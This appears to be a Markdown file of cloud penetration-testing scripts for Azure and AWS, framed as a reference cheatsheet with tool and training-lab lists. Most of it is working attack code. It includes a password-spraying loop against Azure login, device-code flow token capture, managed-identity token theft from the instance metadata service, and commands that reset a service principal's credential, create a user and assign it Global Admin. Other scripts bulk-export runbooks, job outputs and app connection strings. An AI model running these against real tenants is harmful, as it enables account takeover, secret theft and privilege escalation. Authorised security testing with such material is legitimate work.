319 lines
11 KiB
Markdown
319 lines
11 KiB
Markdown
# Advanced Cloud Pentesting Scripts
|
|
|
|
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
|
|
|
|
## Azure Automation Runbooks
|
|
|
|
### Export All Runbooks from All Subscriptions
|
|
|
|
```powershell
|
|
$subs = Get-AzSubscription
|
|
Foreach($s in $subs){
|
|
$subscriptionid = $s.SubscriptionId
|
|
mkdir .\$subscriptionid\
|
|
Select-AzSubscription -Subscription $subscriptionid
|
|
$runbooks = @()
|
|
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
|
foreach ($i in $autoaccounts){
|
|
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
|
|
}
|
|
foreach($r in $runbooks){
|
|
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
|
|
}
|
|
}
|
|
```
|
|
|
|
### Export All Automation Job Outputs
|
|
|
|
```powershell
|
|
$subs = Get-AzSubscription
|
|
$jobout = @()
|
|
Foreach($s in $subs){
|
|
$subscriptionid = $s.SubscriptionId
|
|
Select-AzSubscription -Subscription $subscriptionid
|
|
$jobs = @()
|
|
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
|
foreach ($i in $autoaccounts){
|
|
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
|
|
}
|
|
foreach($r in $jobs){
|
|
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
|
|
}
|
|
}
|
|
$jobout | Out-File -Encoding ascii joboutputs.txt
|
|
```
|
|
|
|
## Azure Function Apps
|
|
|
|
### List All Function App Hostnames
|
|
|
|
```powershell
|
|
$functionapps = Get-AzFunctionApp
|
|
foreach($f in $functionapps){
|
|
$f.EnabledHostname
|
|
}
|
|
```
|
|
|
|
### Extract Function App Information
|
|
|
|
```powershell
|
|
$subs = Get-AzSubscription
|
|
$allfunctioninfo = @()
|
|
Foreach($s in $subs){
|
|
$subscriptionid = $s.SubscriptionId
|
|
Select-AzSubscription -Subscription $subscriptionid
|
|
$functionapps = Get-AzFunctionApp
|
|
foreach($f in $functionapps){
|
|
$allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
|
|
$allfunctioninfo += $f.SiteConfig | fl
|
|
$allfunctioninfo += $f.ApplicationSettings | fl
|
|
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
|
|
}
|
|
}
|
|
$allfunctioninfo
|
|
```
|
|
|
|
## Azure Device Code Login Flow
|
|
|
|
### Initiate Device Code Login
|
|
|
|
```powershell
|
|
$body = @{
|
|
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
"resource" = "https://graph.microsoft.com"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers = @{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
$authResponse
|
|
```
|
|
|
|
Navigate to https://microsoft.com/devicelogin and enter the code.
|
|
|
|
### Retrieve Access Tokens
|
|
|
|
```powershell
|
|
$body = @{
|
|
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
}
|
|
$Tokens = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
$Tokens
|
|
```
|
|
|
|
## Azure Managed Identity Token Retrieval
|
|
|
|
```powershell
|
|
# From Azure VM
|
|
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
|
|
|
# Full instance metadata
|
|
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
|
$instance
|
|
```
|
|
|
|
## AWS Region Iteration Scripts
|
|
|
|
Create `regions.txt`:
|
|
```
|
|
us-east-1
|
|
us-east-2
|
|
us-west-1
|
|
us-west-2
|
|
ca-central-1
|
|
eu-west-1
|
|
eu-west-2
|
|
eu-west-3
|
|
eu-central-1
|
|
eu-north-1
|
|
ap-southeast-1
|
|
ap-southeast-2
|
|
ap-south-1
|
|
ap-northeast-1
|
|
ap-northeast-2
|
|
ap-northeast-3
|
|
sa-east-1
|
|
```
|
|
|
|
### List All EC2 Public IPs
|
|
|
|
```bash
|
|
while read r; do
|
|
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
|
|
done < regions.txt
|
|
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
|
|
```
|
|
|
|
### List All ELB DNS Addresses
|
|
|
|
```bash
|
|
while read r; do
|
|
aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
|
aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
|
done < regions.txt
|
|
sort -u elb-public-dns.txt -o elb-public-dns.txt
|
|
```
|
|
|
|
### List All RDS DNS Addresses
|
|
|
|
```bash
|
|
while read r; do
|
|
aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
|
|
done < regions.txt
|
|
sort -u rds-public-dns.txt -o rds-public-dns.txt
|
|
```
|
|
|
|
### Get CloudFormation Outputs
|
|
|
|
```bash
|
|
while read r; do
|
|
aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
|
|
done < regions.txt
|
|
```
|
|
|
|
## ScoutSuite jq Parsing Queries
|
|
|
|
### AWS Queries
|
|
|
|
```bash
|
|
# Find All Lambda Environment Variables
|
|
for d in */ ; do
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
|
|
done
|
|
|
|
# Find World Listable S3 Buckets
|
|
for d in */ ; do
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
|
|
done
|
|
|
|
# Find All EC2 User Data
|
|
for d in */ ; do
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
|
|
done
|
|
|
|
# Find EC2 Security Groups That Whitelist AWS CIDRs
|
|
for d in */ ; do
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
|
|
done
|
|
|
|
# Find All EC2 EBS Volumes Unencrypted
|
|
for d in */ ; do
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
|
|
done
|
|
|
|
# Find All EC2 EBS Snapshots Unencrypted
|
|
for d in */ ; do
|
|
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
|
|
done
|
|
```
|
|
|
|
### Azure Queries
|
|
|
|
```bash
|
|
# List All Azure App Service Host Names
|
|
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
|
|
|
|
# List All Azure SQL Servers
|
|
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
|
|
|
|
# List All Azure Virtual Machine Hostnames
|
|
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
|
|
|
|
# List Storage Accounts
|
|
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
|
|
|
|
# List Disks Encrypted with Platform Managed Keys
|
|
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
|
|
```
|
|
|
|
## Password Spraying with Az PowerShell
|
|
|
|
```powershell
|
|
$userlist = Get-Content userlist.txt
|
|
$passlist = Get-Content passlist.txt
|
|
$linenumber = 0
|
|
$count = $userlist.count
|
|
foreach($line in $userlist){
|
|
$user = $line
|
|
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
|
|
$current = $linenumber + 1
|
|
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
|
|
$linenumber++
|
|
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
|
|
try {
|
|
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
|
|
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
|
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
|
}
|
|
catch {
|
|
$Failure = $_.Exception
|
|
if ($Failure -match "ID3242") { continue }
|
|
else {
|
|
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
|
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
|
Add-Content valid-creds.txt $Failure.Message
|
|
Write-Host -ForegroundColor red $Failure.Message
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
## Service Principal Attack Path
|
|
|
|
```bash
|
|
# Reset service principal credential
|
|
az ad sp credential reset --id <app_id>
|
|
az ad sp credential list --id <app_id>
|
|
|
|
# Login as service principal
|
|
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
|
|
|
|
# Create new user in tenant
|
|
az ad user create --display-name <name> --password <password> --user-principal-name <upn>
|
|
|
|
# Add user to Global Admin via MS Graph
|
|
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
|
|
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
|
|
```
|
|
|
|
## Additional Tools Reference
|
|
|
|
| Tool | URL | Purpose |
|
|
|------|-----|---------|
|
|
| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
|
|
| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
|
|
| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
|
|
| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
|
|
| MSOLSpray | github.com/dafthack | O365 password spraying |
|
|
| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
|
|
| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
|
|
| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
|
|
| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
|
|
| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
|
|
| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
|
|
| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
|
|
| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
|
|
| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
|
|
|
|
## Vulnerable Training Environments
|
|
|
|
| Platform | URL | Purpose |
|
|
|----------|-----|---------|
|
|
| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
|
|
| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
|
|
| Flaws Cloud | flaws.cloud | AWS CTF challenges |
|
|
| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |
|